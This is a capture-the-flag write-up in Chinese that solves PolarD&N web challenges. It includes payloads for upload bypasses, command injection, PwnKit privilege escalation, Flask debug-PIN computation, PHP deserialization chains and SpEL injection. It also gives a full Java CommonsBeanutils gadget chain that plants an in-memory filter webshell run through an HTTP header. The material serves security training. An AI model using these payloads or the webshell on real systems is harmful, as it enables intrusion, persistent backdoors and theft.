目录
上传
PHP是世界上最好的语言
非常好绕的命令执行
这又是一个上传
网站被黑
flask_pin
veryphp
毒鸡汤
upload tutu
Unserialize_Escape
自由的文件上传系统
ezjava
苦海
你想逃也逃不掉
safe_include
CB链
phar
PHP_Deserialization
最后还剩了两题,有点累了,后面有空就补上
上传
php文件应该是传不上去了
但看响应头可以上传.htaccess来包含恶意文件
SetHandler application/x-httpd-php
当前目录以及子目录所有文件将会被当作php解析。
再上传个图片马
回显了个<?,后续访问也是404,就是没传上去呗,文件内容还有问题
尝试用script标签继续优化,避开<?
但很可惜,高版本下服务器并不解析这种script标签为php代码,仍然不行
文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户
于是在将所有文件解析为php的同时,开启php_value auto_append_file用base64解码来包含恶意文件,从而绕过<?的限制
显示内容不能有file,尝试大小写绕过,但似乎不能解析
于是用\来绕过
再传个base64编码的图片马
访问/upload/yjh.png
连蚁剑,拿flag
PHP是世界上最好的语言
题目提示flag在$flag这个变量中
两处变量覆盖,$POST的值要在第一处就覆盖好
最后传参的时候用504[SYS.COM,不解释
非常好绕的命令执行
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
这一行是一个条件判断语句,检查拼接的恶意代码是否通过了黑名单检查,且不是纯空格字符,且是可打印的字符。
将冗余的括号注释掉,用#即%23来注释(浏览器里不能直接传#,否则其会被当作锚点)
payload:
?args1=echo&args2=`cat<flagggg`);%23&arg3=1
这又是一个上传
随便上传一个php文件,直接弹窗了,有前端检测
禁用js即可
太感动了,直接传上去了
连上蚁剑后主打一个没权限
得提权了兄弟们
可以看这篇文章:
【Web】超级详细的Linux权限提升一站式笔记_linux文件权限提升-CSDN博客
先查找suid文件
挺遗憾没有熟面孔的,但注意到一个刺眼的存在:/opt/polkit-0.105/src/programs/.libs/pkexec
这不嘎嘎乱搜
靠谱:
GitHub - luijait/PwnKit-Exploit: Proof of Concept (PoC) CVE-2021-4034
下面得用哥斯拉操作了
脚本文件上传到/tmp目录下
注意虚拟终端tty不完整
linux tty、伪tty是什么?-CSDN博客
用SuperTerminal执行提权,拿到flag
网站被黑
进来试试常规的信息搜集,发包看到响应头的Hint
base32解码
访问/n0_0ne_f1nd_m3/
text部分一眼data协议
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz
file的话尝试过日志包含,但并不行
于是换个编码方式绕过
quoted-printable 是一种编码方法,通常用于将二进制数据转换为 ASCII 字符串。
file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php
flask_pin
太典了太典了
flask算pin
初始界面直接得知了app路径:/usr/local/lib/python3.5/site-packages/flask/app.py
访问/console发现开启了debug模式
读/etc/passwd看用户名
/sys/class/net/eth0/address读getNode得到uuid
0242ac02dade十六进制转十进制即可
2485376965342
读/etc/machine-id
c31eea55a29431535ff01de94bdcf5cf
读 /proc/self/cgroup
8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b
整理后 拼接得到最终machine_id
c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b
经过尝试sha1算法不对,可以用md5算法生成pin
import hashlib
from itertools import chain
def getPIN(public_bits, private_bits):
rv = None
num = None
# h = hashlib.md5()
h = hashlib.sha1()
for bit in chain(public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
if __name__ == "__main__":
public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.5/site-packages/flask/app.py'
]
private_bits = [
'2485376965342',
'c31eea55a29431535ff01de94bdcf5cf8a2d6ad4495a852d775e28b65325a5e5dc06bbc230ac0ed4279b0a6b0ee6574b'
]
PIN = getPIN(public_bits, private_bits)
print(PIN)
输入pin进入console,为所欲为即可
veryphp
一眼变量覆盖,还有个很恶意的waf
🤔hackbar发包不行,得用bp发包,可能是因为有啥特殊符号吧
_用[来绕过
shaw[root=-a9<b>22222222>>>>pabcphp@Rs1
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
gpt搓个脚本
<?php
$targetHash = '166b47a5cb1ca2431a0edfcef200684f';
$prefix = 'shaw';
for ($i = 0; $i < 100000; $i++) { // 尝试所有可能的数字,假设范围在 0 到 99999 之间
$SecretNumber = str_pad($i, 5, '0', STR_PAD_LEFT); // 格式化为5位数,不足的用0填充
$hash = md5($prefix . $SecretNumber . 'root'); // 生成哈希
if ($hash === $targetHash) { // 检查哈希是否匹配目标哈希
echo "找到匹配的 SecretNumber: $SecretNumber\n";
break;
}
}
爆出来是21475
最后注意过滤了e,所以call_user_func不能直接利用system
考虑利用qwq这个文件读取类的静态方法
毒鸡汤
访问/robots.txt
访问/hint.txt
访问/www.zip拿到附件
在index.php里看到一段任意文件包含
?readfile=yulu.txt试了一下确实可以利用
然后看了看yulu.php和dog.php没啥特别的
随手一试,我测,包含/flag直接就出了
upload tutu
改MIMETYPE,显示要让文件内容不同
对文件内容修改后,要求文件内容md5值相同
传两个相等的md5值
s1885207154a
s1836677006a
跳转到新的界面,直接拿到了flag
Unserialize_Escape
这个filter特征,将匹配的 x
替换为 yy,
一眼字符串逃逸
要逃逸20个长度,前面塞20个x就可
<?php
$username="Z3r4y";
$password="aaaaa";
$user = array($username, $password);
echo serialize($user);
//a:2:{i:0;s:5:"Z3r4y";i:1;s:5:"aaaaa";}
//";i:1;s:5:"aaaaa";}
//";i:1;s:6:"123456";}
echo strlen("\";i:1;s:6:\"123456\";}");
//20
payload:
username=Z3r4yxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}
自由的文件上传系统
随便传个马,发现对文件修改了
直接不以php解析了,只能配合文件包含来利用了
注意到这里?被替换为了!
可以用script标签来绕过
点一下那个小房子的logo,跳转到一个文件包含点
访问/sectet_include.php?file=upload/6481059636
连蚁剑,拿flag
ezjava
看到提示,flag在/app/flag.txt
附件没啥内容,这不一眼spel注入
参考文章:
SpEL表达式注入漏洞学习和回显poc研究
payload:
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(), "utf8")).readLine()
记得url编码一次
苦海
题目源码
<?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
瞪眼看链子
User.__wakeup -> User.printName -> Surrender.__toString -> FileRobot.__get -> FileRobot.__invoke -> FileRobot.Get_file
exp
<?php
class User
{
public $name;
}
class Surrender
{
}
class FileRobot
{
public $filename;
public $path;
}
$d=new FileRobot();
$c=new FileRobot();
$b=new Surrender();
$a=new User();
$d->filename='../flag.php';
$c->path=$d;
$b->file['filename']=$c;
$a->name=$b;
echo serialize($a);
payload:
?user=O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";N;s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}}
base64解码拿到flag
你想逃也逃不掉
这不一眼字符串逃逸
exp
<?php
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
class User
{
public $name;
public $passwd;
public $sign;
}
$a=new User();
$a->name="phtmlphtmlphtmlphtml";
$a->passwd=";s:6:\"passwd\";s:0:\"\";s:4:\"sign\";s:6:\"ytyyds\";}";
$a->sign="123456";
echo filter(serialize($a));
echo strlen("\";s:6:\"passwd\";s:26:");
//20 => 即要逃逸20个字符
safe_include
先写入恶意session文件
?xxs=<?php+system('tac+/f*');?>
再包含恶意session文件
?xxs=/tmp/sess_cofdad2n8lie1e30im77qhbrv6
CB链
看pom依赖,活活一个CB链呗
反序列化入口在/user路由下 ,也没在输入流处做过滤
题目环境不出网,考虑注入内存马
payload过长会报错,采用MyClassLoader来中转,从而实现分段传内存马
目录结构如下:
EXP.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class EXP {
public static void main(String[] args) throws Exception {
final TemplatesImpl templates = createTemplatesImpl(MyClassLoader.class);
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static <T> T createTemplatesImpl(Class c) throws Exception {
Class<T> tplClass = null;
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
} else {
tplClass = (Class<T>) TemplatesImpl.class;
}
final T templates = tplClass.newInstance();
final byte[] classBytes = classAsBytes(c);
setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes
});
setFieldValue(templates, "_name", "Pwnr");
return templates;
}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
return classField.get(obj);
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = clazz.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
}
MyClassLoader.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
System.out.println("classData:"+classData);
byte[] classBytes = Base64.getDecoder().decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
FilterMem.java
package org.example;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;
public class FilterMem implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("Polar-CMD");
System.out.println(cmd);
if (cmd != null) {
//System.out.println("1");
response.setHeader("Polar-START", "OK");
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split("\\s+"))
.redirectErrorStream(true)
.start();
//System.out.println("2");
// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();
// 使用 Java 8 Stream 将输入流转换为字符串
String result = new BufferedReader(new InputStreamReader(inputStream))
.lines()
.collect(Collectors.joining(System.lineSeparator()));
System.out.println("3");
response.setHeader("Polar-RESULT",result);
} else {
filterChain.doFilter(request, response);
}
}
public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];
try {
dynamicAddFilter(new FilterMem(),"Shell","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return true;
}
public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}
用下面这个网站把字节码转base64
CyberChef
传的时候记得urlencode一下
先打入内存马
再命令执行
phar
先文件包含读funs.php
?file=php://filter/convert.base64-encode/resource=funs.php
base64解码得
<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}
class A
{
private $a;
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}
class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
瞪眼看链子
A.__destruct -> B.__toString -> C.__get
exp:
<?php
class A
{
public $a;
}
class B
{
public $b = array();
}
class C{
public $c = array();
}
$c=new C();
$b=new B();
$a=new A();
$c->c=array("vm50"=>"flag");
$b->b=array("kfc"=>$c);
$a->a=$b;
echo serialize($a);
payload:
?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
PHP_Deserialization
瞪眼看链子
Polar.__wakeup -> Night.__call -> Day.__toString
exp:
<?php
class Polar
{
public $night;
public $night_arg;
}
class Night
{
}
class Day
{
public $filename;
}
$c=new Day();
$b=new Night();
$a=new Polar();
$c->filename="/flflagag";
$a->night=$b;
$a->night_arg=$c;
echo base64_encode(serialize($a));
payload:
polar=Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319